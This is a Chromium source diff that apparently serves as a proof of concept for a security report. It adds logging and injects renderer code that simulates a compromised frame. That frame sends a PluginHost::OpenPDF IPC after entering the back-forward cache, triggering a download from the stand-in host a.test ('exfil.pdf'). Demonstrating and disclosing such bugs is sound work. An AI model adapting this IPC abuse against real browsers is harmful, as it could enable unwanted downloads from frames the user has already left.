diff --git a/chrome/browser/plugins/plugin_observer.cc b/chrome/browser/plugins/plugin_observer.cc
index 6ba89167b897f..b716948b91e20 100644
--- a/chrome/browser/plugins/plugin_observer.cc
+++ b/chrome/browser/plugins/plugin_observer.cc
@@ -53,12 +53,27 @@ void PluginObserver::OpenPDF(const GURL& url) {
   if (extensions::WebViewGuest::FromRenderFrameHost(render_frame_host))
     return;
 
+  // ============================================================
+  // POC INSTRUMENTATION (does not change behavior, only logs):
+  // ============================================================
+  LOG(ERROR) << "[POC-BROWSER] PluginObserver::OpenPDF reached."
+             << " caller_rfh_url="
+             << render_frame_host->GetLastCommittedURL().spec()
+             << " caller_rfh_IsActive=" << render_frame_host->IsActive()
+             << " caller_rfh_lifecycle="
+             << static_cast<int>(render_frame_host->GetLifecycleState())
+             << " web_contents_LastCommittedURL="
+             << web_contents()->GetLastCommittedURL().spec();
+
   content::Referrer referrer;
   if (!CanOpenPdfUrl(render_frame_host, url,
                      web_contents()->GetLastCommittedURL(), &referrer)) {
     return;
   }
 
+  LOG(ERROR) << "[POC-BROWSER] Download will be issued: target=" << url.spec()
+             << " referrer=" << referrer.url.spec();
+
   net::NetworkTrafficAnnotationTag traffic_annotation =
       net::DefineNetworkTrafficAnnotation("pdf_plugin_placeholder", R"(
         semantics {
diff --git a/chrome/renderer/chrome_render_frame_observer.cc b/chrome/renderer/chrome_render_frame_observer.cc
index 9e24f7dc00fc4..34f07fa611887 100644
--- a/chrome/renderer/chrome_render_frame_observer.cc
+++ b/chrome/renderer/chrome_render_frame_observer.cc
@@ -94,6 +94,9 @@
 
 #if BUILDFLAG(ENABLE_PLUGINS)
 #include "chrome/renderer/plugins/chrome_plugin_placeholder.h"
+// POC INJECTION includes
+#include "chrome/common/plugin.mojom.h"
+#include "mojo/public/cpp/bindings/associated_remote.h"
 #endif
 
 using blink::WebDocumentLoader;
@@ -263,6 +266,25 @@ void ChromeRenderFrameObserver::DidSetPageLifecycleState(
     translate_agent_->RenewPageRegistration();
   }
   if (bfcache_change == blink::BFCacheStateChange::kStoredToBFCache) {
+#if BUILDFLAG(ENABLE_PLUGINS)
+    // ============================================================
+    // POC INJECTION: simulate a compromised renderer that ignores
+    // the BFCache freeze and sends PluginHost::OpenPDF to the
+    // browser process after the user has navigated away.
+    // ============================================================
+    if (render_frame()->IsMainFrame()) {
+      GURL doc_url(render_frame()->GetWebFrame()->GetDocument().Url());
+      if (doc_url.host() == "a.test") {
+        LOG(ERROR) << "[POC-RENDERER] BFCached attacker frame ("
+                   << doc_url.spec()
+                   << ") sending PluginHost::OpenPDF while inactive";
+        mojo::AssociatedRemote<chrome::mojom::PluginHost> plugin_host;
+        render_frame()->GetRemoteAssociatedInterfaces()->GetInterface(
+            plugin_host.BindNewEndpointAndPassReceiver());
+        plugin_host->OpenPDF(GURL("http://a.test:18080/exfil.pdf"));
+      }
+    }
+#endif
     // Reset actor state if entering the BFCache
     page_stability_monitor_.reset();
     tool_executor_.reset();